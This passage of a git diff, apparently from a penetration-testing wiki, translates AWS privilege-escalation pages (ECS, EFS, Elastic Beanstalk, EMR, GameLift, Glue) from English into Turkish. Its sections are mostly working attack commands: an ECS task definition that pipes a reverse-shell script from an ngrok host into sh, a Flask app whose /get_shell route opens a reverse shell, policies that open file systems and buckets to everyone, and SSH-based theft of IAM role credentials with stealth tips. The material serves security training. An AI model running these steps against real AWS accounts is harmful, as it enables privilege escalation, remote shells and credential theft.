konteynerde bir komut çalıştırmayı deneyin** ```bash # List enableExecuteCommand on each task for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do - echo "Cluster $cluster" - for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do - echo " Task $task" - # If true, it's your lucky day - aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand - done +echo "Cluster $cluster" +for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do +echo " Task $task" +# If true, it's your lucky day +aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand +done done # Execute a shell in a container aws ecs execute-command --interactive \ - --command "sh" \ - --cluster "$CLUSTER_ARN" \ - --task "$TASK_ARN" +--command "sh" \ +--cluster "$CLUSTER_ARN" \ +--task "$TASK_ARN" ``` +- Eğer **`ecs:RunTask`** iznine sahipse, `aws ecs run-task --enable-execute-command [...]` ile bir görev çalıştırın. +- Eğer **`ecs:StartTask`** iznine sahipse, `aws ecs start-task --enable-execute-command [...]` ile bir görev çalıştırın. +- Eğer **`ecs:CreateService`** iznine sahipse, `aws ecs create-service --enable-execute-command [...]` ile bir hizmet oluşturun. +- Eğer **`ecs:UpdateService`** iznine sahipse, `aws ecs update-service --enable-execute-command [...]` ile bir hizmet güncelleyin. -- If he has **`ecs:RunTask`**, run a task with `aws ecs run-task --enable-execute-command [...]` -- If he has **`ecs:StartTask`**, run a task with `aws ecs start-task --enable-execute-command [...]` -- If he has **`ecs:CreateService`**, create a service with `aws ecs create-service --enable-execute-command [...]` -- If he has **`ecs:UpdateService`**, update a service with `aws ecs update-service --enable-execute-command [...]` +Bu **seçeneklerin örneklerini** **önceki ECS privesc bölümlerinde** bulabilirsiniz. -You can find **examples of those options** in **previous ECS privesc sections**. - -**Potential Impact:** Privesc to a different role attached to containers. +**Potansiyel Etki:** Konteynerlere bağlı farklı bir role privesc. ### `ssm:StartSession` -Check in the **ssm privesc page** how you can abuse this permission to **privesc to ECS**: +Bu izni **ECS'ye privesc** için nasıl kötüye kullanabileceğinizi **ssm privesc sayfasında** kontrol edin: {{#ref}} aws-ssm-privesc.md @@ -198,7 +186,7 @@ aws-ssm-privesc.md ### `iam:PassRole`, `ec2:RunInstances` -Check in the **ec2 privesc page** how you can abuse these permissions to **privesc to ECS**: +Bu izinleri **ECS'ye privesc** için nasıl kötüye kullanabileceğinizi **ec2 privesc sayfasında** kontrol edin: {{#ref}} aws-ec2-privesc.md @@ -206,30 +194,29 @@ aws-ec2-privesc.md ### `?ecs:RegisterContainerInstance` -TODO: Is it possible to register an instance from a different AWS account so tasks are run under machines controlled by the attacker?? +TODO: Farklı bir AWS hesabından bir örneği kaydetmek mümkün mü, böylece görevler saldırgan tarafından kontrol edilen makinelerde çalıştırılabilir mi?? ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` > [!NOTE] -> TODO: Test this - -An attacker with the permissions `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, and `ecs:DescribeTaskSets` can **create a malicious task set for an existing ECS service and update the primary task set**. This allows the attacker to **execute arbitrary code within the service**. +> TODO: Bunu test et +`ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` ve `ecs:DescribeTaskSets` izinlerine sahip bir saldırgan, **mevcut bir ECS hizmeti için kötü niyetli bir görev seti oluşturabilir ve birincil görev setini güncelleyebilir**. Bu, saldırgana **hizmet içinde rastgele kod çalıştırma** imkanı tanır. ```bash bashCopy code# Register a task definition with a reverse shell echo '{ - "family": "malicious-task", - "containerDefinitions": [ - { - "name": "malicious-container", - "image": "alpine", - "command": [ - "sh", - "-c", - "apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh" - ] - } - ] +"family": "malicious-task", +"containerDefinitions": [ +{ +"name": "malicious-container", +"image": "alpine", +"command": [ +"sh", +"-c", +"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh" +] +} +] }' > malicious-task-definition.json aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json @@ -240,15 +227,10 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service -- # Update the primary task set for the service aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id ``` +**Potansiyel Etki**: Etkilenen hizmette rastgele kod çalıştırmak, muhtemelen işlevselliğini etkileyebilir veya hassas verileri dışarı sızdırabilir. -**Potential Impact**: Execute arbitrary code in the affected service, potentially impacting its functionality or exfiltrating sensitive data. - -## References +## Referanslar - [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md index 8a54b28d8..50f9b6c90 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md @@ -4,97 +4,83 @@ ## EFS -More **info about EFS** in: +Daha fazla **EFS hakkında bilgi** için: {{#ref}} ../aws-services/aws-efs-enum.md {{#endref}} -Remember that in order to mount an EFS you need to be in a subnetwork where the EFS is exposed and have access to it (security groups). Is this is happening, by default, you will always be able to mount it, however, if it's protected by IAM policies you need to have the extra permissions mentioned here to access it. +EFS'yi bağlamak için, EFS'nin açıldığı bir alt ağda olmanız ve ona erişiminizin olması gerektiğini unutmayın (güvenlik grupları). Eğer bu gerçekleşiyorsa, varsayılan olarak, her zaman onu bağlayabileceksiniz, ancak IAM politikalarıyla korunuyorsa, ona erişmek için burada belirtilen ek izinlere sahip olmanız gerekir. ### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy` -With any of those permissions an attacker can **change the file system policy** to **give you access** to it, or to just **delete it** so the **default access** is granted. - -To delete the policy: +Bu izinlerden herhangi biriyle bir saldırgan **dosya sistemi politikasını** **değiştirerek** size **erişim verebilir** veya sadece **silerek** **varsayılan erişimi** sağlayabilir. +Politikayı silmek için: ```bash aws efs delete-file-system-policy \ - --file-system-id +--file-system-id ``` - -To change it: - +Değiştirmek için: ```json aws efs put-file-system-policy --file-system-id --policy file:///tmp/policy.json // Give everyone trying to mount it read, write and root access // policy.json: { - "Version": "2012-10-17", - "Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763", - "Statement": [ - { - "Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": [ - "elasticfilesystem:ClientRootAccess", - "elasticfilesystem:ClientWrite", - "elasticfilesystem:ClientMount" - ], - "Condition": { - "Bool": { - "elasticfilesystem:AccessedViaMountTarget": "true" - } - } - } - ] +"Version": "2012-10-17", +"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763", +"Statement": [ +{ +"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"elasticfilesystem:ClientRootAccess", +"elasticfilesystem:ClientWrite", +"elasticfilesystem:ClientMount" +], +"Condition": { +"Bool": { +"elasticfilesystem:AccessedViaMountTarget": "true" +} +} +} +] } ``` - ### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)` -With this permission an attacker will be able to **mount the EFS**. If the write permission is not given by default to everyone that can mount the EFS, he will have only **read access**. - +Bu izinle bir saldırgan **EFS'yi monte edebilir**. Eğer yazma izni, EFS'yi monte edebilen herkes için varsayılan olarak verilmemişse, yalnızca **okuma erişimine** sahip olacaktır. ```bash sudo mkdir /efs sudo mount -t efs -o tls,iam :/ /efs/ ``` +Ekstra izinler `elasticfilesystem:ClientRootAccess` ve `elasticfilesystem:ClientWrite`, dosya sistemi monte edildikten sonra **yazmak** ve bu dosya sistemine **root** olarak **erişmek** için kullanılabilir. -The extra permissions`elasticfilesystem:ClientRootAccess` and `elasticfilesystem:ClientWrite` can be used to **write** inside the filesystem after it's mounted and to **access** that file system **as root**. - -**Potential Impact:** Indirect privesc by locating sensitive information in the file system. +**Olası Etki:** Dosya sisteminde hassas bilgilerin bulunmasıyla dolaylı yetki yükseltme. ### `elasticfilesystem:CreateMountTarget` -If you an attacker is inside a **subnetwork** where **no mount target** of the EFS exists. He could just **create one in his subnet** with this privilege: - +Eğer bir saldırgan **alt ağda** EFS'nin **hiçbir montaj hedefi** yoksa, bu yetki ile **kendi alt ağında bir tane oluşturabilir.** ```bash # You need to indicate security groups that will grant the user access to port 2049 aws efs create-mount-target --file-system-id \ - --subnet-id \ - --security-groups +--subnet-id \ +--security-groups ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the file system. +**Potansiyel Etki:** Dosya sisteminde hassas bilgilerin bulunmasıyla dolaylı yetki yükseltme. ### `elasticfilesystem:ModifyMountTargetSecurityGroups` -In a scenario where an attacker finds that the EFS has mount target in his subnetwork but **no security group is allowing the traffic**, he could just **change that modifying the selected security groups**: - +Bir saldırganın EFS'nin kendi alt ağında bir montaj hedefi bulduğu ancak **hiçbir güvenlik grubunun trafiğe izin vermediği** bir senaryoda, **seçilen güvenlik gruplarını değiştirerek bunu değiştirebilir:** ```bash aws efs modify-mount-target-security-groups \ - --mount-target-id \ - --security-groups +--mount-target-id \ +--security-groups ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the file system. +**Olası Etki:** Dosya sisteminde hassas bilgileri bulma yoluyla dolaylı yetki artırma. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md index 613dd3a47..bf4f2dafc 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md @@ -4,19 +4,18 @@ ## Elastic Beanstalk -More **info about Elastic Beanstalk** in: +Daha fazla **Elastic Beanstalk hakkında bilgi** için: {{#ref}} ../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} > [!WARNING] -> In order to perform sensitive actions in Beanstalk you will need to have a **lot of sensitive permissions in a lot of different services**. You can check for example the permissions given to **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** +> Beanstalk'ta hassas eylemler gerçekleştirmek için **birçok farklı hizmette çok sayıda hassas izne** sahip olmanız gerekecek. Örneğin, **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`** iznini kontrol edebilirsiniz. -### `elasticbeanstalk:RebuildEnvironment`, S3 write permissions & many others - -With **write permissions over the S3 bucket** containing the **code** of the environment and permissions to **rebuild** the application (it's needed `elasticbeanstalk:RebuildEnvironment` and a few more related to `S3` , `EC2` and `Cloudformation`), you can **modify** the **code**, **rebuild** the app and the next time you access the app it will **execute your new code**, allowing the attacker to compromise the application and the IAM role credentials of it. +### `elasticbeanstalk:RebuildEnvironment`, S3 yazma izinleri ve daha fazlası +**Ortamın kodunu içeren S3 bucket'ında yazma izinleri** ve uygulamayı **yeniden inşa etme** izinleri (bunun için `elasticbeanstalk:RebuildEnvironment` ve `S3`, `EC2` ve `Cloudformation` ile ilgili birkaç izin gereklidir) ile **kodunuzu değiştirebilir**, uygulamayı **yeniden inşa edebilir** ve uygulamaya eriştiğinizde bu, **yeni kodunuzu çalıştıracaktır**, bu da saldırganın uygulamayı ve IAM rol kimlik bilgilerini tehlikeye atmasına olanak tanır. ```bash # Create folder mkdir elasticbeanstalk-eu-west-1-947247140022 @@ -31,56 +30,42 @@ aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247 # Rebuild env aws elasticbeanstalk rebuild-environment --environment-name "env-name" ``` +### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole` ve daha fazlası... -### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, and more... - -The mentioned plus several **`S3`**, **`EC2`, `cloudformation`** ,**`autoscaling`** and **`elasticloadbalancing`** permissions are the necessary to create a raw Elastic Beanstalk scenario from scratch. - -- Create an AWS Elastic Beanstalk application: +Bahsedilenler ve birkaç **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** ve **`elasticloadbalancing`** izni, sıfırdan bir ham Elastic Beanstalk senaryosu oluşturmak için gereklidir. +- AWS Elastic Beanstalk uygulaması oluşturun: ```bash aws elasticbeanstalk create-application --application-name MyApp ``` - -- Create an AWS Elastic Beanstalk environment ([**supported platforms**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)): - +- AWS Elastic Beanstalk ortamı oluşturun ([**desteklenen platformlar**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)): ```bash aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role ``` +Eğer bir ortam zaten oluşturulmuşsa ve **yeni bir tane oluşturmak istemiyorsanız**, mevcut olanı **güncelleyebilirsiniz**. -If an environment is already created and you **don't want to create a new one**, you could just **update** the existent one. - -- Package your application code and dependencies into a ZIP file: - +- Uygulama kodunuzu ve bağımlılıklarını bir ZIP dosyasına paketleyin: ```python zip -r MyApp.zip . ``` - -- Upload the ZIP file to an S3 bucket: - +- ZIP dosyasını bir S3 kovasına yükleyin: ```python aws s3 cp MyApp.zip s3://elasticbeanstalk--/MyApp.zip ``` - -- Create an AWS Elastic Beanstalk application version: - +- AWS Elastic Beanstalk uygulama sürümü oluşturun: ```css aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk--",S3Key="MyApp.zip" ``` - -- Deploy the application version to your AWS Elastic Beanstalk environment: - +- Uygulama sürümünü AWS Elastic Beanstalk ortamınıza dağıtın: ```bash aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0 ``` - ### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses` -First of all you need to create a **legit Beanstalk environment** with the **code** you would like to run in the **victim** following the **previous steps**. Potentially a simple **zip** containing these **2 files**: +Öncelikle, **önceki adımları** takip ederek **kurban** üzerinde çalıştırmak istediğiniz **kod** ile **geçerli bir Beanstalk ortamı** oluşturmanız gerekiyor. Potansiyel olarak bu **2 dosyayı** içeren basit bir **zip**: {{#tabs }} {{#tab name="application.py" }} - ```python from flask import Flask, request, jsonify import subprocess,os, socket @@ -89,34 +74,32 @@ application = Flask(__name__) @application.errorhandler(404) def page_not_found(e): - return jsonify('404') +return jsonify('404') @application.route("/") def index(): - return jsonify('Welcome!') +return jsonify('Welcome!') @application.route("/get_shell") def search(): - host=request.args.get('host') - port=request.args.get('port') - if host and port: - s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) - s.connect((host,int(port))) - os.dup2(s.fileno(),0) - os.dup2(s.fileno(),1) - os.dup2(s.fileno(),2) - p=subprocess.call(["/bin/sh","-i"]) - return jsonify('done') +host=request.args.get('host') +port=request.args.get('port') +if host and port: +s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) +s.connect((host,int(port))) +os.dup2(s.fileno(),0) +os.dup2(s.fileno(),1) +os.dup2(s.fileno(),2) +p=subprocess.call(["/bin/sh","-i"]) +return jsonify('done') if __name__=="__main__": - application.run() +application.run() ``` - {{#endtab }} {{#tab name="requirements.txt" }} - ``` click==7.1.2 Flask==1.1.2 @@ -125,44 +108,42 @@ Jinja2==2.11.3 MarkupSafe==1.1.1 Werkzeug==1.0.1 ``` - {{#endtab }} {{#endtabs }} -Once you have **your own Beanstalk env running** your rev shell, it's time to **migrate** it to the **victims** env. To so so you need to **update the Bucket Policy** of your beanstalk S3 bucket so the **victim can access it** (Note that this will **open** the Bucket to **EVERYONE**): - +Kendi **Beanstalk ortamınızda** rev shell'inizi çalıştırdıktan sonra, bunu **kurbanın** ortamına **taşımak** için zamanıdır. Bunu yapmak için, beanstalk S3 bucket'ınızın **Bucket Politikasını** **güncellemeniz** gerekiyor, böylece **kurban buna erişebilir** (Bu, Bucket'ı **HERKES** için **açacaktır**): ```json { - "Version": "2008-10-17", - "Statement": [ - { - "Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": [ - "s3:ListBucket", - "s3:ListBucketVersions", - "s3:GetObject", - "s3:GetObjectVersion", - "s3:*" - ], - "Resource": [ - "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022", - "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*" - ] - }, - { - "Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b", - "Effect": "Deny", - "Principal": { - "AWS": "*" - }, - "Action": "s3:DeleteBucket", - "Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022" - } - ] +"Version": "2008-10-17", +"Statement": [ +{ +"Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"s3:ListBucket", +"s3:ListBucketVersions", +"s3:GetObject", +"s3:GetObjectVersion", +"s3:*" +], +"Resource": [ +"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022", +"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*" +] +}, +{ +"Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b", +"Effect": "Deny", +"Principal": { +"AWS": "*" +}, +"Action": "s3:DeleteBucket", +"Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022" +} +] } ``` @@ -181,9 +162,4 @@ Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBe The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections. ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md index 0025abe52..f1e1af9c9 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md @@ -4,7 +4,7 @@ ## EMR -More **info about EMR** in: +Daha fazla **EMR hakkında bilgi** için: {{#ref}} ../aws-services/aws-emr-enum.md @@ -12,57 +12,51 @@ More **info about EMR** in: ### `iam:PassRole`, `elasticmapreduce:RunJobFlow` -An attacker with these permissions can **run a new EMR cluster attaching EC2 roles** and try to steal its credentials.\ -Note that in order to do this you would need to **know some ssh priv key imported in the account** or to import one, and be able to **open port 22 in the master node** (you might be able to do this with the attributes `EmrManagedMasterSecurityGroup` and/or `ServiceAccessSecurityGroup` inside `--ec2-attributes`). - +Bu izinlere sahip bir saldırgan **EC2 rollerini ekleyerek yeni bir EMR kümesi çalıştırabilir** ve kimlik bilgilerini çalmaya çalışabilir.\ +Bunu yapmak için **hesaba ithal edilmiş bazı ssh özel anahtarlarını bilmeniz** veya birini ithal etmeniz ve **ana düğümde port 22'yi açabilmeniz** gerektiğini unutmayın (bunu `--ec2-attributes` içindeki `EmrManagedMasterSecurityGroup` ve/veya `ServiceAccessSecurityGroup` öznitelikleri ile yapabilirsiniz). ```bash # Import EC2 ssh key (you will need extra permissions for this) ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N "" chmod 400 /tmp/sshkey base64 /tmp/sshkey.pub > /tmp/pub.key aws ec2 import-key-pair \ - --key-name "privesc" \ - --public-key-material file:///tmp/pub.key +--key-name "privesc" \ +--public-key-material file:///tmp/pub.key aws emr create-cluster \ - --release-label emr-5.15.0 \ - --instance-type m4.large \ - --instance-count 1 \ - --service-role EMR_DefaultRole \ - --ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc +--release-label emr-5.15.0 \ +--instance-type m4.large \ +--instance-count 1 \ +--service-role EMR_DefaultRole \ +--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc # Wait 1min and connect via ssh to an EC2 instance of the cluster) aws emr describe-cluster --cluster-id # In MasterPublicDnsName you can find the DNS to connect to the master instance ## You cna also get this info listing EC2 instances ``` +Not edin ki bir **EMR rolü** `--service-role` içinde ve bir **ec2 rolü** `--ec2-attributes` içinde `InstanceProfile`'da belirtilmiştir. Ancak, bu teknik yalnızca EC2 rolü kimlik bilgilerini çalmaya izin verir (çünkü ssh üzerinden bağlanacaksınız) ama EMR IAM Rolü'nü çalamaz. -Note how an **EMR role** is specified in `--service-role` and a **ec2 role** is specified in `--ec2-attributes` inside `InstanceProfile`. However, this technique only allows to steal the EC2 role credentials (as you will connect via ssh) but no the EMR IAM Role. - -**Potential Impact:** Privesc to the EC2 service role specified. +**Olası Etki:** Belirtilen EC2 hizmet rolüne privesc. ### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole` -With these permissions an attacker can go to the **AWS console**, create a Notebook and access it to steal the IAM Role. +Bu izinlerle bir saldırgan **AWS konsoluna** gidebilir, bir Notebook oluşturabilir ve IAM Rolünü çalmak için erişebilir. > [!CAUTION] -> Even if you attach an IAM role to the notebook instance in my tests I noticed that I was able to steal AWS managed credentials and not creds related to the IAM role related. +> Notebook örneğine bir IAM rolü eklesem de, testlerimde AWS yönetilen kimlik bilgilerini çalabildiğimi ve ilgili IAM rolüne ait kimlik bilgilerini çalamadığımı fark ettim. -**Potential Impact:** Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile +**Olası Etki:** AWS yönetilen rolüne privesc arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile ### `elasticmapreduce:OpenEditorInConsole` -Just with this permission an attacker will be able to access the **Jupyter Notebook and steal the IAM role** associated to it.\ -The URL of the notebook is `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/` +Sadece bu izinle bir saldırgan **Jupyter Notebook'a erişebilir ve ona bağlı IAM rolünü çalabilir.**\ +Notebook'un URL'si `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/` > [!CAUTION] -> Even if you attach an IAM role to the notebook instance in my tests I noticed that I was able to steal AWS managed credentials and not creds related to the IAM role related +> Notebook örneğine bir IAM rolü eklesem de, testlerimde AWS yönetilen kimlik bilgilerini çalabildiğimi ve ilgili IAM rolüne ait kimlik bilgilerini çalamadığımı fark ettim. -**Potential Impact:** Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile +**Olası Etki:** AWS yönetilen rolüne privesc arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md index b40cdf413..c02e27df9 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md @@ -4,19 +4,13 @@ ### `gamelift:RequestUploadCredentials` -With this permission an attacker can retrieve a **fresh set of credentials for use when uploading** a new set of game build files to Amazon GameLift's Amazon S3. It'll return **S3 upload credentials**. - +Bu izinle bir saldırgan, Amazon GameLift'in Amazon S3'üne yeni bir oyun yapım dosyası yüklerken kullanmak için **yeni bir kimlik bilgisi seti alabilir**. **S3 yükleme kimlik bilgilerini** döndürecektir. ```bash aws gamelift request-upload-credentials \ - --build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111 +--build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111 ``` - -## References +## Referanslar - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md index 049d3b273..f84574259 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md @@ -6,15 +6,14 @@ ### `iam:PassRole`, `glue:CreateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) -Users with these permissions can **set up a new AWS Glue development endpoint**, **assigning an existing service role assumable by Glue** with specific permissions to this endpoint. - -After the setup, the **attacker can SSH into the endpoint's instance**, and steal the IAM credentials of the assigned role: +Bu izinlere sahip kullanıcılar, **mevcut bir hizmet rolünü Glue tarafından üstlenilebilir şekilde atayarak yeni bir AWS Glue geliştirme uç noktası kurabilirler**. +Kurulumdan sonra, **saldırgan uç noktanın örneğine SSH ile bağlanabilir** ve atanan rolün IAM kimlik bilgilerini çalabilir: ```bash # Create endpoint aws glue create-dev-endpoint --endpoint-name \ - --role-arn \ - --public-key file:///ssh/key.pub +--role-arn \ +--public-key file:///ssh/key.pub # Get the public address of the instance ## You could also use get-dev-endpoints @@ -23,19 +22,17 @@ aws glue get-dev-endpoint --endpoint-name privesctest # SSH with the glue user ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ``` +Gizlilik amacıyla, Glue sanal makinesi içinden IAM kimlik bilgilerini kullanmanız önerilir. -For stealth purpose, it's recommended to use the IAM credentials from inside the Glue virtual machine. - -**Potential Impact:** Privesc to the glue service role specified. +**Olası Etki:** Belirtilen glue hizmet rolüne privesc. ### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) -Users with this permission can **alter an existing Glue development** endpoint's SSH key, **enabling SSH access to it**. This allows the attacker to execute commands with the privileges of the endpoint's attached role: - +Bu izne sahip kullanıcılar, **mevcut bir Glue geliştirme** uç noktasının SSH anahtarını **değiştirebilir**, bu da ona SSH erişimi sağlar. Bu, saldırganın uç noktanın bağlı rolünün ayrıcalıklarıyla komutlar çalıştırmasına olanak tanır: ```bash # Change public key to connect aws glue --endpoint-name target_endpoint \ - --public-key file:///ssh/key.pub +--public-key file:///ssh/key.pub # Get the public address of the instance ## You could also use get-dev-endpoints @@ -44,13 +41,11 @@ aws glue get-dev-endpoint --endpoint-name privesctest # SSH with the glue user ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ``` - -**Potential Impact:** Privesc to the glue service role used. +**Potansiyel Etki:** Kullanılan glue hizmet rolüne privesc. ### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`) -Users with **`iam:PassRole`** combined with either **`glue:CreateJob` or `glue:UpdateJob`**, and either **`glue:StartJobRun` or `glue:CreateTrigger`** can **create or update an AWS Glue job**, attaching any **Glue service account**, and initiate the job's execution. The job's capabilities include running arbitrary Python code, which can be exploited to establish a reverse shell. This reverse shell can then be utilized to exfiltrate the **IAM credential**s of the role attached to the Glue job, leading to potential unauthorized access or actions based on the permissions of that role: - +**`iam:PassRole`** ile birlikte **`glue:CreateJob` veya `glue:UpdateJob`** ve **`glue:StartJobRun` veya `glue:CreateTrigger`** yetkilerine sahip kullanıcılar, **AWS Glue işini** oluşturabilir veya güncelleyebilir, herhangi bir **Glue hizmet hesabı** ekleyebilir ve işin yürütülmesini başlatabilir. İşin yetenekleri, ters bir shell çalıştırmayı içeren rastgele Python kodunu çalıştırmayı içerir; bu, Glue işine ekli olan rolün **IAM kimlik bilgilerini** dışarı aktarmak için kullanılabilir ve bu da o rolün izinlerine dayalı olarak potansiyel yetkisiz erişim veya eylemlere yol açabilir: ```bash # Content of the python script saved in s3: #import socket,subprocess,os @@ -65,32 +60,27 @@ Users with **`iam:PassRole`** combined with either **`glue:CreateJob` or `glue:U # A Glue role with admin access was created aws glue create-job \ - --name privesctest \ - --role arn:aws:iam::93424712358:role/GlueAdmin \ - --command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}' +--name privesctest \ +--role arn:aws:iam::93424712358:role/GlueAdmin \ +--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}' # You can directly start the job aws glue start-job-run --job-name privesctest # Or you can create a trigger to start it aws glue create-trigger --name triggerprivesc --type SCHEDULED \ - --actions '[{"JobName": "privesctest"}]' --start-on-creation \ - --schedule "0/5 * * * * *" #Every 5mins, feel free to change +--actions '[{"JobName": "privesctest"}]' --start-on-creation \ 